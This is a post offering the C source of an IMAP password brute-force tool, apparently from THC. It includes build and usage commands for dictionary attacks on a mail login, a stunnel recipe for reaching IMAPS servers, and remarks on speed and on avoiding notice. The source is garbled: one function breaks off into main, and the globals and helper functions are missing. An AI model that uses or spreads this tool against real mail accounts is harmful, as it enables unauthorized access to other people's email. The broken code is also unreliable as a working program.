IMAP password brute force tool. The tool can go up to 500 passwords / second on a remote host with 1000 connections in parallel if you like. It is fast and efficient.
Tool source:
/*
* IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
* I had this one running with 30 passwords / second (100 parallel connections)
* against a single server and it did not even appear in top.
*
* Visit us -- your enemies already did.
* http://www.thc.org - THE HACKERS CHOICE
*
* gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
*
* SSL support for dummies:
* stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
*
* Example: (Brute 40 in parallel)
* ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
*/
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
struct peer_str
{
char password[64];
char buf[256];
int sox;
int read;
char flags;
time_t time;
};
static void
usage(void)
{
fprintf(stderr, ""
"imap-bruter [rlpn]\n"
"Options:\n"
" -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
" -p <port> - Port imapd runs on. [default: 143]\n"
" -l <login name> - Login name\n"
" -n <parallel> - Number of parallel connections.\n"
"Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
"");
exit(0);
}
static void
do_getopt(int argc, char *argv[])
{
int c;
g_port = 143;
g_parallel = 5;
while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
{
switch (c)
{
case 'r':
g_ip = hostname(optarg);
break;
case 'l':
g_login = strdup(optarg);
break;
case 'p':
g_port = atoi(optarg);
break;
case 'n':
g_parallel = atoi(optarg);
break;
default:
usage();
break;
}
}
if (g_ip == -1)
{
fprintf(stderr, "Unknown host!\n");
usage();
}
if (!g_login)
usage();
if (g_parallel <= 0)
usage();
}
static void
peer_clear(struct peer_str *p)
{
if (p->sox >= 0)
close(p->sox);
p->sox = -1;
p->read = 0;
p->flags = 0;
/* Keep 'password' as it has not yet been processed */
n_peers--;
}
static int
do_readpwd(struct peer_str *p)
{
char *ptr;
int
main(int argc, char *argv[])
{
struct timeval tv;
int conn;
int maxfd;
struct peer_str *p;
int i, n;
int ret;
socklen_t len;
time_t time_last, time_start;
unsigned int hours, min, sec;
unsigned int old_cracks = 0;
double cs;
g_passwd = "<waiting...>";
do_getopt(argc, argv);
time_now = time(NULL);
time_start = time_now;
time_last = time_now;
printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
for (i = 0; i < g_parallel; i++)
peer_init(&peers[i]);
